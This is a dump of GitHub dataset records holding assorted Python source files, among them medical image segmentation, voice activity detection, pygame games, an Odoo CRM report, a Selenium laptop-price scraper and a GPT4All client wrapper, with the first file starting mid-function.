rad=[r]*ref.dimension )\n    >>> pp = ants.joint_label_fusion(ref,refmask,ilist, r_search=2, rad=[r]*ref.dimension)\n    \"\"\"\n    segpixtype = 'unsigned int'\n    if (label_list is None) or (np.any([l is None for l in label_list])):\n        doJif = True\n    else:\n        doJif = False\n\n    if not doJif:\n        if len(label_list) != len(atlas_list):\n            raise ValueError('len(label_list) != len(atlas_list)')\n        inlabs = np.sort(np.unique(label_list[0][target_image_mask != 0 ]))\n        mymask = target_image_mask.clone()\n    else:\n        mymask = target_image_mask\n\n    osegfn = mktemp(prefix='antsr', suffix='myseg.nii.gz')\n    #segdir = osegfn.replace(os.path.basename(osegfn),'')\n\n    if os.path.exists(osegfn):\n        os.remove(osegfn)\n\n    probs = mktemp(prefix='antsr', suffix='prob%02d.nii.gz')\n    probsbase = os.path.basename(probs)\n    tdir = probs.replace(probsbase,'')\n    searchpattern = probsbase.replace('%02d', '*')\n\n    mydim = target_image_mask.dimension\n    if not doJif:\n        # not sure if these should be allocated or what their size should be\n        outimg = label_list[1].clone(segpixtype)\n        outimgi = target_image * 0\n\n        outimg_ptr = utils.get_pointer_string(outimg)\n        outimgi_ptr = utils.get_pointer_string(outimgi)\n        outs = '[%s,%s,%s]' % (outimg_ptr, outimgi_ptr, probs)\n    else:\n        outimgi = target_image * 0\n        outs = utils.get_pointer_string(outimgi)\n\n    mymask = mymask.clone(segpixtype)\n    if (not isinstance(rad, (tuple,list))) or (len(rad)==1):\n        myrad = [rad] * mydim\n    else:\n        myrad = rad\n\n    if len(myrad) != mydim:\n        raise ValueError('path radius dimensionality must equal image dimensionality')\n\n    myrad = 'x'.join([str(mr) for mr in myrad])\n    vnum = 1 if verbose else 0\n    nnum = 1 if nonnegative else 0\n\n    myargs = {\n        'd': mydim,\n        't': target_image,\n        'a': rho,\n        'b': beta,\n        'c': nnum,\n        'p': myrad,\n        'm': 'PC',\n        's': r_search,\n        'x': mymask,\n        'o': outs,\n        'v': vnum\n    }\n\n    kct = len(myargs.keys())\n    for k in range(len(atlas_list)):\n        kct += 1\n        myargs['g-MULTINAME-%i' % kct] = atlas_list[k]\n        if not doJif:\n            kct += 1\n            castseg = label_list[k].clone(segpixtype)\n            myargs['l-MULTINAME-%i' % kct] = castseg\n\n    myprocessedargs = utils._int_antsProcessArguments(myargs)\n\n    libfn = utils.get_lib_fn('antsJointFusion')\n    rval = libfn(myprocessedargs)\n    if rval != 0:\n        print('Warning: Non-zero return from antsJointFusion')\n\n    if doJif:\n        return outimgi\n\n    probsout = glob.glob(os.path.join(tdir,'*'+searchpattern ) )\n    probsout.sort()\n    probimgs = [iio2.image_read(probsout[0])]\n    for idx in range(1, len(probsout)):\n        probimgs.append(iio2.image_read(probsout[idx]))\n\n    segmat = iio2.images_to_matrix( probimgs, target_image_mask )\n    finalsegvec = segmat.argmax( axis = 0 )\n    finalsegvec2 = finalsegvec.copy()\n    # mapfinalsegvec to original labels\n    for i in range(finalsegvec.max()+1):\n        finalsegvec2[finalsegvec==i] = inlabs[i]\n    outimg = iio2.make_image( target_image_mask, finalsegvec2 )\n\n    return {\n        'segmentation': outimg,\n        'intensity': outimgi,\n        'probabilityimages': probimgs\n    }\n","repo_name":"idasand/Tissue_deformation_estimation","sub_path":"ANTsPy/ants/segmentation/joint_label_fusion.py","file_name":"joint_label_fusion.py","file_ext":"py","file_size_in_byte":7077,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"13403191586","text":"import shapes\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nimport functools\n\n\ndef resize_to_min_size_(*tensors, dim = -1):\n\tsize = min(t.shape[dim] for t in tensors)\n\tfor t in tensors:\n\t\tif t.shape[dim] > size:\n\t\t\tsliced = t.narrow(dim, 0, size)\n\t\t\tt.set_(t.storage(), 0, sliced.size(), sliced.stride())\n\n\nclass SimpleVAD:\n\tdef __init__(self,\n\t             kernel_size_smooth_silence: int = 4096,\n\t             kernel_size_smooth_signal: int = 128,\n\t             kernel_size_smooth_speaker: int = 4096,\n\t             silence_absolute_threshold: float = 0.05,\n\t             silence_relative_threshold: float = 0.2,\n\t             eps: float = 1e-9,\n\t             normalization_percentile: float = 0.9):\n\t\tself.kernel_size_smooth_silence = kernel_size_smooth_silence\n\t\tself.kernel_size_smooth_signal = kernel_size_smooth_signal\n\t\tself.kernel_size_smooth_speaker = kernel_size_smooth_speaker\n\t\tself.silence_absolute_threshold = silence_absolute_threshold\n\t\tself.silence_relative_threshold = silence_relative_threshold\n\t\tself.eps = eps\n\t\tself.normalization_percentile = normalization_percentile\n\t\tself.input_type = torch.tensor\n\t\tself.input_dtype = 'float32'\n\n\tdef detect(self, signal: shapes.BT, allow_overlap: bool = False) -> shapes.BT:\n\t\tassert len(signal) <= 2\n\n\t\tpadding = self.kernel_size_smooth_signal // 2\n\t\tstride = 1\n\t\tsmoothed_for_diff = F.max_pool1d(signal.abs().unsqueeze(1), self.kernel_size_smooth_signal, stride=stride, padding=padding).squeeze(1)\n\n\t\tpadding = self.kernel_size_smooth_silence // 2\n\t\tstride = 1\n\n\t\t# dilation\n\t\tsmoothed_for_silence = F.max_pool1d(signal.abs().unsqueeze(1), self.kernel_size_smooth_silence, stride=stride, padding=padding).squeeze(1)\n\n\t\t# erosion\n\t\tsmoothed_for_silence = -F.max_pool1d(-smoothed_for_silence.unsqueeze(1), self.kernel_size_smooth_silence, stride=stride, padding=padding).squeeze(1)\n\n\t\t# primitive VAD\n\t\tsignal_max = smoothed_for_diff.kthvalue(int(self.normalization_percentile * smoothed_for_diff.shape[-1]), dim=-1, keepdim=True).values\n\t\tsilence_absolute = smoothed_for_silence < self.silence_absolute_threshold\n\t\tsilence_relative = smoothed_for_silence / (self.eps + signal_max) < self.silence_relative_threshold\n\t\tsilence = silence_absolute | silence_relative\n\n\t\tif allow_overlap or len(signal) == 1:\n\t\t\tspeech = ~silence\n\t\telse:\n\t\t\tdiff_flat = smoothed_for_diff[0] - smoothed_for_diff[1]\n\t\t\tspeaker_id_bipole = diff_flat.sign()\n\n\t\t\tpadding = self.kernel_size_smooth_speaker // 2\n\t\t\tstride = 1\n\t\t\tspeaker_id_bipole = F.avg_pool1d(speaker_id_bipole.view(1, 1, -1), kernel_size=self.kernel_size_smooth_speaker, stride=stride, padding=padding).view(-1).sign()\n\n\t\t\t# removing 1 sample silence at 1111-1-1-1-1 boundaries, replace by F.conv1d (patterns -101, 10-1)\n\t\t\tspeaker_id_bipole = torch.where((speaker_id_bipole == 0) & (F.avg_pool1d(speaker_id_bipole.abs().view(1, 1, -1), kernel_size=3, stride=1, padding=1).view(-1) == 2 / 3) & (\n\t\t\t\t\t\tF.avg_pool1d(speaker_id_bipole.view(1, 1, -1), kernel_size=3, stride=1, padding=1).view(-1) == 0), torch.ones_like(speaker_id_bipole), speaker_id_bipole)\n\n\t\t\tresize_to_min_size_(silence, speaker_id_bipole, dim=-1)\n\n\t\t\tbipole = torch.tensor([1, -1], dtype=speaker_id_bipole.dtype, device=speaker_id_bipole.device)\n\t\t\tspeech = (~silence) * (speaker_id_bipole.unsqueeze(0) == bipole.unsqueeze(1))\n\t\tspeech = torch.cat([~speech.any(dim = 0).unsqueeze(0), speech])\n\t\treturn speech\n\n\nclass WebrtcVAD:\n\tdef __init__(self, aggressiveness: int = 3, sample_rate: int = 8_000, window_size: float = 0.01):\n\t\tassert sample_rate in [8_000, 16_000, 32_000, 48_000]\n\t\tassert window_size in [0.01, 0.02, 0.03]\n\t\tassert aggressiveness in [0, 1, 2, 3] # 3 is the most aggressive\n\t\tself.sample_rate = sample_rate\n\t\tself.window_size = window_size\n\t\tself.frame_len = int(window_size * sample_rate)\n\t\tself.aggressiveness = aggressiveness\n\t\tself.input_type = np.array\n\t\tself.input_dtype = 'int16'\n\n\tdef detect(self, signal: shapes.BT, allow_overlap: bool = False) -> shapes.BT:\n\t\tassert signal.dtype == np.int16\n\t\timport webrtcvad\n\t\tspeech_length = np.zeros(signal.shape, dtype = np.int)\n\t\tfor channel in range(len(signal)):\n\t\t\tvad = webrtcvad.Vad(self.aggressiveness)\n\t\t\tframes = np.pad(signal[channel], (0, self.frame_len - signal.shape[-1] % self.frame_len), 'constant', constant_values = (0, 0))\n\t\t\tframes = bytearray(frames)\n\t\t\tstart = None\n\t\t\tamount = 0\n\n\t\t\tfor i in range(0, int(len(frames) / 2), self.frame_len):\n\t\t\t\tis_speech = vad.is_speech(frames[i * 2: (i + self.frame_len) * 2], self.sample_rate)\n\t\t\t\tif is_speech and start is None:\n\t\t\t\t\tstart = i\n\t\t\t\t\tamount = 1\n\t\t\t\telif is_speech:\n\t\t\t\t\tamount += 1\n\t\t\t\telif not is_speech and start is not None:\n\t\t\t\t\tspeech_length[channel, start: start + amount * self.frame_len] = amount * self.frame_len\n\t\t\t\t\tstart = None\n\t\t\t\t\tamount = 0\n\n\t\t\tif start is not None:\n\t\t\t\tspeech_length[channel, start: start + amount * self.frame_len] = amount * self.frame_len\n\n\t\tif allow_overlap:\n\t\t\tspeech = speech_length > 0\n\t\telse:\n\t\t\tspeech_max_length = speech_length.max(axis=0)\n\t\t\tspeech = (speech_length == speech_max_length[np.newaxis, :]) & (speech_max_length != 0)\n\t\tspeech = np.vstack([~speech.any(axis = 0), speech])\n\t\treturn speech\n\n\nclass SileroVAD:\n\tdef __init__(self, sample_rate: int = 8_000, use_micro = True, device = 'cpu'):\n\t\tself.device = device\n\t\tself.sample_rate = sample_rate\n\t\tif sample_rate == 8_000:\n\t\t\tassert use_micro, 'Only \"micro\" model exists for 8 kHz sample rate.'\n\t\t\tself.model_name = 'silero_vad_micro_8k'\n\t\telif sample_rate == 16_000 and use_micro:\n\t\t\tself.model_name = 'silero_vad_micro'\n\t\telif sample_rate == 16_000 and not use_micro:\n\t\t\tself.model_name = 'silero_vad'\n\t\telse:\n\t\t\traise RuntimeError(f'No model exist for sample rate {sample_rate} Hz.')\n\n\t\tself.input_type = torch.tensor\n\t\tself.input_dtype = 'float32'\n\n\t@functools.lru_cache()\n\tdef _get_model(self):\n\t\tmodel, utils = torch.hub.load(repo_or_dir='snakers4/silero-vad', model=self.model_name, batch_size=2000)\n\t\tget_speech_ts, _, _, _, _, _ = utils\n\t\treturn model.to(self.device), get_speech_ts\n\n\tdef detect(self, signal: shapes.BT, allow_overlap: bool = False) -> shapes.BT:\n\t\tsignal = signal.to(self.device)\n\t\tmodel, get_speech_ts = self._get_model()\n\t\tspeech_length = torch.zeros_like(signal, dtype = torch.int64)\n\t\tfor i, channel_signal in enumerate(signal):\n\t\t\tintervals = get_speech_ts(channel_signal, model)\n\t\t\tfor interval in intervals:\n\t\t\t\tspeech_length[i, interval['start']:interval['end']] = torch.arange(0, interval['end'] - interval['start'], dtype = torch.int64)\n\n\t\tif allow_overlap:\n\t\t\tspeech = speech_length > 0\n\t\telse:\n\t\t\tspeech_max_length = speech_length.amax(dim=0)\n\t\t\tspeech = (speech_length == speech_max_length.unsqueeze(0)) & (speech_max_length != 0)\n\t\tspeech = torch.cat([~speech.any(dim = 0).unsqueeze(0), speech])\n\t\treturn speech\n","repo_name":"vadimkantorov/convdia","sub_path":"vad.py","file_name":"vad.py","file_ext":"py","file_size_in_byte":6788,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"25668009942","text":"from item import Weapon\nimport pygame\n\n# Inventory class. For keeping track of who has what.\nclass Inventory:\n\n    def __init__(self):\n        self.items = []\n        self.main_hand = Weapon(pygame.image.load(\"Image_Assets\\\\meter_1.png\"), 0, 0, 0)\n        self.off_hand = Weapon(pygame.image.load(\"Image_Assets\\\\meter_1.png\"), 0, 0, 0)\n\n    def add_item(self, item, quantity=1):\n        for i in self.items:\n            if i[0] == item.name:\n                i[1] += quantity\n                return\n        self.items.append([item.name, quantity])\n\n    def use_item(self, hud, item, quantity=1):\n        for i in self.items:\n            if i[0] == item.name:\n                if i[1] >= quantity:\n                    i[1] -= quantity\n                    item.use(hud, quantity)\n                else:\n                    print('Error: Not enough items to use')\n                return\n\n    def set_main_hand(self, item):\n        self.main_hand = item\n        return\n\n    def set_off_hand(self, item):\n        self.off_hand = item\n","repo_name":"PyreStarter/Dungeon_Game","sub_path":"inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"74957795241","text":"#1744 수 묶기\n\nimport sys\n\nn = int(sys.stdin.readline())\n\npos, neg, zeroCnt, oneCnt = [], [], 0, 0\n\nfor _ in range(n):\n    k = int(sys.stdin.readline())\n    if k == 1:\n        oneCnt += 1\n    elif k > 0:\n        pos.append(k)\n    elif k < 0:\n        neg.append(k)\n    else:\n        zeroCnt += 1\n\npos.sort(reverse=True)\nneg.sort()\n\nresult = 0\n\ni = 0\nwhile i+1 < len(pos):\n    result += pos[i]*pos[i+1]\n    i += 2\n\nif i < len(pos):\n    result += pos[i]\n\ni = 0\nwhile i+1 < len(neg):\n    result += neg[i]*neg[i+1]\n    i += 2\n\nif i < len(neg) and zeroCnt == 0:\n    result += neg[i]\n\nresult += oneCnt\nprint(result)\n","repo_name":"SunEom/CodingTest","sub_path":"Python/CodingTest/Level/Gold IV/1744.py","file_name":"1744.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"32369216887","text":"from psycopg2.extensions import AsIs\n\nfrom odoo import fields, models, tools\n\nAVAILABLE_STATES = [\n    (\"draft\", \"Draft\"),\n    (\"open\", \"Todo\"),\n    (\"cancel\", \"Cancelled\"),\n    (\"done\", \"Held\"),\n    (\"pending\", \"Pending\"),\n]\n\n\nclass CrmPhonecallReport(models.Model):\n    \"\"\"Generate BI report based on phonecall.\"\"\"\n\n    _name = \"crm.phonecall.report\"\n    _description = \"Phone calls by user\"\n    _auto = False\n\n    user_id = fields.Many2one(comodel_name=\"res.users\", string=\"User\", readonly=True)\n    team_id = fields.Many2one(comodel_name=\"crm.team\", string=\"Team\", readonly=True)\n    priority = fields.Selection(\n        selection=[(\"0\", \"Low\"), (\"1\", \"Normal\"), (\"2\", \"High\")]\n    )\n    nbr_cases = fields.Integer(string=\"# of Cases\", readonly=True)\n    state = fields.Selection(AVAILABLE_STATES, string=\"Status\", readonly=True)\n    create_date = fields.Datetime(readonly=True, index=True)\n    delay_close = fields.Float(\n        string=\"Delay to close\",\n        digits=(16, 2),\n        readonly=True,\n        group_operator=\"avg\",\n        help=\"Number of Days to close the case\",\n    )\n    duration = fields.Float(digits=(16, 2), readonly=True, group_operator=\"avg\")\n    delay_open = fields.Float(\n        string=\"Delay to open\",\n        digits=(16, 2),\n        readonly=True,\n        group_operator=\"avg\",\n        help=\"Number of Days to open the case\",\n    )\n    partner_id = fields.Many2one(\n        comodel_name=\"res.partner\", string=\"Partner\", readonly=True\n    )\n    company_id = fields.Many2one(\n        comodel_name=\"res.company\", string=\"Company\", readonly=True\n    )\n    opening_date = fields.Datetime(readonly=True, index=True)\n    date_closed = fields.Datetime(string=\"Close Date\", readonly=True, index=True)\n\n    def _select(self):\n        select_str = \"\"\"\n            select\n                id,\n                c.date_open as opening_date,\n                c.date_closed as date_closed,\n                c.state,\n                c.user_id,\n                c.team_id,\n                c.partner_id,\n                c.duration,\n                c.company_id,\n                c.priority,\n                1 as nbr_cases,\n                c.create_date as create_date,\n                extract(\n                  'epoch' from (\n                  c.date_closed-c.create_date))/(3600*24) as delay_close,\n                extract(\n                  'epoch' from (\n                  c.date_open-c.create_date))/(3600*24) as delay_open\n           \"\"\"\n        return select_str\n\n    def _from(self):\n        from_str = \"\"\"\n            from crm_phonecall c\n        \"\"\"\n        return from_str\n\n    def init(self):\n        \"\"\"Initialize the report.\"\"\"\n        tools.drop_view_if_exists(self.env.cr, self._table)\n        self.env.cr.execute(\n            \"\"\"\n            create or replace view %s as (\n                %s\n                %s\n            )\"\"\",\n            (AsIs(self._table), AsIs(self._select()), AsIs(self._from())),\n        )\n","repo_name":"OCA/crm","sub_path":"crm_phonecall/report/crm_phonecall_report.py","file_name":"crm_phonecall_report.py","file_ext":"py","file_size_in_byte":2941,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"18"}
{"seq_id":"16165041655","text":"#!/usr/bin/python3\n\n\"\"\"\n    This script contains a function to add 2 integers\n\"\"\"\n\n\ndef add_integer(a, b=98):\n    \"\"\"\n    Adds two integers\n\n    Parameters:\n        a (int): first integer.\n        b (int): second integer. Defualt is 98\n\n    Returns:\n        int: the addition of a and b\n\n    Raises:\n        TypeError: if the provided values are not an integer\n    \"\"\"\n    if not isinstance(a, (int, float)):\n        raise TypeError(\"a must be an integer\")\n    elif not isinstance(b, (int, float)):\n        raise TypeError(\"b must be an integer\")\n\n    return int(a) + (b)\n","repo_name":"LaughingRover/alx-higher_level_programming","sub_path":"0x07-python-test_driven_development/0-add_integer.py","file_name":"0-add_integer.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4101295327","text":"import sys\nsys.stdin = open('탈출.txt')\nimport collections\n\ndef bfs():\n    gosum = collections.deque()\n    r, c = start\n    gosum.append((r, c, 0))\n    gosum_visit = [[0 for _ in range(C)] for _ in range(R)]\n    gosum_visit[r][c] = 1\n    sv_time = -1\n\n    while gosum:\n        row, col, time = gosum.popleft()\n\n        if sv_time != time:\n\n            a = len(deq)\n            \n            for i in range(a):\n                wr, wc = deq.popleft()\n\n                for w in range(4):\n                    move_row = wr + dr[w]\n                    move_col = wc + dc[w]\n\n                    if 0 <= move_row < R and 0 <= move_col < C:\n                        if forest[move_row][move_col] == '.' and forest[move_row][move_col] != 'D':\n                            \n                            forest[move_row][move_col] = '*'\n                            deq.append((move_row, move_col))\n\n        for w in range(4):\n            nr = row + dr[w]\n            nc = col + dc[w]\n\n            if 0 <= nr < R and 0 <= nc < C:\n                if (forest[nr][nc] == '.' or forest[nr][nc] == 'D') and gosum_visit[nr][nc] == 0:\n                    if forest[nr][nc] == 'D':\n                        return time + 1\n                    else:\n                        gosum_visit[nr][nc] = 1\n                        gosum.append((nr, nc, time + 1))\n\n        sv_time = time\n    \n    return \"KAKTUS\"\n\ndr = [0, 0, -1, 1]\ndc = [-1, 1, 0, 0]\n\nR, C = map(int, input().split())\n\nforest = [list(map(str, input())) for _ in range(R)]\n\ndeq = collections.deque()\n\nfor row in range(R):\n    for col in range(C):\n        if forest[row][col] == 'S':\n            forest[row][col] = '.'\n            start = (row, col)\n        elif forest[row][col] == 'D':\n            end = (row, col)\n        elif forest[row][col] == '*':\n            deq.append((row, col))\n\nprint(bfs())","repo_name":"HwnagYoungJun/algorithm","sub_path":"2020/4월/0417/탈출.py","file_name":"탈출.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"1547067860","text":"import random\n\n\nclass ComputerPlayer:\n    def __init__(self, board):\n        self.draw_computer_planes(board)\n        self._guess_stack = []\n        self._previous_guess = ()\n        self._not_checked = []\n        for i in range(0, 8):\n            for j in range(1, 9):\n                self._not_checked.append((chr(i + ord('A')), j))\n\n    def draw_computer_planes(self, board):\n        '''\n        :param board: computer's board\n        Draw computer's planes randomly\n        '''\n        orientations = ['up', 'down', 'left', 'right']\n        while True:\n            board.clear_board()\n            i1 = random.randint(0, 7)\n            j1 = random.randint(1, 8)\n            orientation1 = random.choice(orientations)\n            i2 = random.randint(0, 7)\n            j2 = random.randint(1, 8)\n            orientation2 = random.choice(orientations)\n            try:\n                p1 = board.draw_plane((chr(i1 + ord('A')), j1), orientation1)\n                p2 = board.draw_plane((chr(i2 + ord('A')), j2), orientation2)\n                break\n            except ValueError:\n                pass\n        board.plane1 = p1\n        board.plane2 = p2\n\n    def random_guess(self):\n        '''\n        :return: A random guess\n        '''\n        guess = random.choice(self._not_checked)\n        return guess\n\n    def calculateGuess(self, guess_board):\n        '''\n        :param guess_board: computer's guess board\n        :return: Computer's guess\n        '''\n\n        if len(self._previous_guess) > 0 and guess_board.get(self._previous_guess[0], self._previous_guess[1]) == -3:\n            self.remove_checked(guess_board)\n            self._guess_stack.clear()\n        if len(self._previous_guess) > 0 and guess_board.get(self._previous_guess[0], self._previous_guess[1]) == -2:\n            neighbours = self.available_neighbours(self._previous_guess[0], self._previous_guess[1], guess_board)\n            for n in neighbours:\n                self._guess_stack.append(n)\n\n        if len(self._guess_stack) == 0:\n            guess = self.random_guess()\n        else:\n            guess = self._guess_stack.pop()\n\n        self._previous_guess = guess\n        self._not_checked.remove(guess)\n        return guess\n\n    def remove_checked(self, guess_board):\n        '''\n        :param guess_board: the guess board of the computer\n        Remove all checked cells from the list of not_checked cells\n        '''\n        for i in range(0, 8):\n            for j in range(1, 9):\n                g = (chr(i + ord('A')), j)\n                if guess_board.get(g[0], g[1]) == -2 and g in self._not_checked:\n                    self._not_checked.remove(g)\n\n    def available_neighbours(self, x, y, guess_board):\n        '''\n        :param x: the row of the given cell\n        :param y: the column of the given cell\n        :param guess_board: the guess board of the computer\n        :return: The valid and not checked neighbours of the given cell\n        '''\n        directions = [(-1, 0), (1, 0), (0, -1), (0, 1)]\n        neighbours = []\n        for i in range(4):\n            neighbour = (chr(ord(x) + directions[i][0]), y + directions[i][1])\n            if neighbour[0] in ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H'] and 0 < neighbour[1] < 9 \\\n                    and guess_board.get(neighbour[0], neighbour[1]) == 0 and neighbour not in self._guess_stack:\n                neighbours.append(neighbour)\n        if len(neighbours) > 0:\n            random.shuffle(neighbours)\n        return neighbours\n","repo_name":"AndreeaCimpean/Uni","sub_path":"Sem1/FP/L10/computer.py","file_name":"computer.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"14182487343","text":"import pygame\nfrom pygame.locals import *\nfrom tanks import Tank\n\npygame.init()\nscreen = pygame.display.set_mode([640, 480])\nt = Tank([50,50])\nrunning = 1\n#pygame.key.set_repeat(100, 200)\nclock = pygame.time.Clock()\n\nwhile running:\n    clock.tick(30)\n    for event in pygame.event.get():\n        if event.type == KEYDOWN:\n            if event.key == K_ESCAPE:\n                running = 0\n        elif event.type == QUIT:\n            running = 0\n    pressed = pygame.key.get_pressed()\n\n    if pressed[K_UP] and pressed[K_LEFT]:\n        t.update('up')\n        t.update('left')\n    elif pressed[K_UP] and pressed[K_RIGHT]:\n        t.update('up')\n        t.update('right')\n    elif pressed[K_DOWN] and pressed[K_LEFT]:\n        t.update('down')\n        t.update('left')\n    elif pressed[K_DOWN] and pressed[K_RIGHT]:\n        t.update('down')\n        t.update('right')\n    elif pressed[K_UP]:\n        t.update('up')\n    elif pressed[K_DOWN]:\n        t.update('down')\n    elif pressed[K_LEFT]:\n        t.update('left')\n    elif pressed[K_RIGHT]:\n        t.update('right')\n    if pressed[K_a]:\n        t.update('tLeft')\n    elif pressed[K_d]:\n        t.update('tRight')\n    if pressed[K_SPACE]:\n        t.turret.isShooting = 1\n        #shells.add(Shell(t.turret.rect.center, t.turret.rotationCounter))\n        #shell1 = Shell(t.turret.rect.center, t.turret.rotationCounter)\n        #Shell(t.turret.rect.center, t.turret.rotationCounter).add(shells)\n    \n    t.update()\n    t.turret.shells.update()\n    screen.fill([200, 200, 200])    \n    t.turret.shells.draw(screen)\n    screen.blit(t.image, t.rect)\n    screen.blit(t.turret.image, t.turret.rect)\n    \n    rot_txt = str(t.turret.rotationCounter)\n    if pygame.font:\n        font = pygame.font.Font(None, 36)\n        text = font.render(rot_txt, 1, (10, 10, 10))\n        textpos = text.get_rect(centerx=screen.get_width()/2)\n        screen.blit(text, textpos)    \n    \n    \n    pygame.display.update()\n    #pygame.display.flip()\n    ","repo_name":"yusefmarra/Tank_Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1974,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"36238682285","text":"from typing import Dict\n\ntry:\n    from gpt4all import GPT4All\nexcept (ImportError, ModuleNotFoundError):\n    GPT4All = None\n\n_loaded_models = {}\n\n\ndef _make_openai_compatabile(message: str) -> Dict:\n    return {\"choices\": [{\"message\": {\"content\": message, \"role\": \"assistant\"}}]}\n\n\ndef get_chat_completion(\n    messages: Dict, model: str = \"ggml-model-gpt4all-falcon-q4_0.bin\"\n) -> Dict:\n    \"\"\"Gets a chat completion from GPT4All.\n\n    Parameters\n    ----------\n    messages : Dict\n        The messages to use as a prompt for the chat completion.\n    model : str\n        The model to use for the chat completion. Defaults to \"ggml-gpt4all-j-v1.3-groovy\".\n\n    Returns\n    -------\n    completion : Dict\n    \"\"\"\n    if GPT4All is None:\n        raise ImportError(\n            \"gpt4all is not installed, try `pip install scikit-llm[gpt4all]`\"\n        )\n    if model not in _loaded_models.keys():\n        loaded_model = GPT4All(model)\n        _loaded_models[model] = loaded_model\n        loaded_model._current_prompt_template = loaded_model.config[\"promptTemplate\"]\n\n    prompt = _loaded_models[model]._format_chat_prompt_template(\n        messages, _loaded_models[model].config[\"systemPrompt\"]\n    )\n    generated = _loaded_models[model].generate(\n        prompt,\n        streaming=False,\n        temp=1e-10,\n    )\n\n    return _make_openai_compatabile(generated)\n\n\ndef unload_models() -> None:\n    global _loaded_models\n    _loaded_models = {}\n","repo_name":"iryna-kondr/scikit-llm","sub_path":"skllm/gpt4all_client.py","file_name":"gpt4all_client.py","file_ext":"py","file_size_in_byte":1441,"program_lang":"python","lang":"en","doc_type":"code","stars":2708,"dataset":"github-code","pt":"18"}
{"seq_id":"18639629145","text":"from selenium import webdriver\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.common.by import By\nfrom datetime import datetime\nimport re\n\n\nclass Citilink():\n    def __init__(self):\n        self.urls = ('https://www.citilink.ru/catalog/noutbuki/?view_type=list&f=available.all',)\n\n    def items(self, driver: webdriver.Chrome):\n        # driver.implicitly_wait(5)\n        for url in self.urls:\n            next_page = url\n\n            while next_page:\n                driver.get(next_page)\n                ActionChains(driver).pause(2).perform()\n\n                for item in driver.find_elements(By.CLASS_NAME, 'ProductCardHorizontal'):\n                    head = item.find_element(By.CSS_SELECTOR, '.ProductCardHorizontal__header-block a')\n                    prop = item.find_element(By.CLASS_NAME, 'ProductCardHorizontal__properties').text\n                    cpu_hhz_p = re.search(r'Процессор.+?ГГц', prop)\n                    ram_gb_p = re.search(r'память.+?ГБ', prop)\n                    ssd_gb_p = re.search(r'(Диск|Объем).+?ГБ', prop)\n                    price_rub = int(item.get_attribute('data-price'))\n\n                    if cpu_hhz_p:\n                        cpu_hhz = float(cpu_hhz_p[0].split()[-2])\n                    else:\n                        cpu_hhz = float(0.0)\n                    if ram_gb_p:\n                        ram_gb = int(ram_gb_p[0].split()[-2])\n                    else:\n                        ram_gb = int(0)\n                    if ssd_gb_p:\n                        ssd_gb = int(ssd_gb_p[0].split()[-2])\n                    else:\n                        ssd_gb = int(0)\n                    rank = float(cpu_hhz*3 + ram_gb*8 + ssd_gb*0.02 - price_rub * 0.002)\n                    name = head.text\n                    url = head.get_attribute('href')\n\n                    out = {\n                        'cpu_hhz': cpu_hhz,\n                        'ram_gb': ram_gb,\n                        'ssd_gb': ssd_gb,\n                        'price_rub': price_rub,\n                        'rank': rank,\n                        'name': name,\n                        'url': url,\n                        'visited_at': str(datetime.today())[:19],\n                    }\n                    yield out\n\n                next_page = driver.find_elements(By.CSS_SELECTOR, 'a.PaginationWidget__arrow_right')\n                if next_page:\n                    next_page = next_page[0].get_attribute('href')\n\n        return\n","repo_name":"Tima-B/Py_HW_2","sub_path":"citilink.py","file_name":"citilink.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41885597699","text":"\"\"\"\nUtility functions for working with the YOLOv3 models.\n\n################\nCommand Help:\nusage: utility.py [-h] {strip} ...\n\nUtility functions for working with the YOLOv3 models\n\npositional arguments:\n  {strip}\n\noptional arguments:\n  -h, --help  show this help message and exit\n\n################\nStrip Command Help:\nusage: utility.py strip [-h] weights\n\nStrip the extra information from a models checkpoint for training from scratch\n\npositional arguments:\n  weights     weights path\n\noptional arguments:\n  -h, --help  show this help message and exit\n\"\"\"\n\nimport argparse\n\nfrom utils.general import strip_optimizer\n\nSTRIP_COMMAND = \"strip\"\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser(description=\"Utility functions for working with the YOLOv3 models\")\n    subparsers = parser.add_subparsers(dest=\"command\")\n    strip_subparser = subparsers.add_parser(\n        STRIP_COMMAND,\n        description=\"Strip the extra information from a models checkpoint for training from scratch\",\n    )\n    strip_subparser.add_argument('weights', type=str, help='weights path')\n    args = parser.parse_args()\n\n    if args.command == STRIP_COMMAND:\n        print(f\"stripping extras from {args.weights}\")\n        strip_optimizer(args.weights)\n    else:\n        raise ValueError(f\"unknown command given of {args.command}\")\n","repo_name":"M1v1savva/throwing_robot","sub_path":"computer_vision/sparseml/integrations/ultralytics-yolov5/yolov5/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
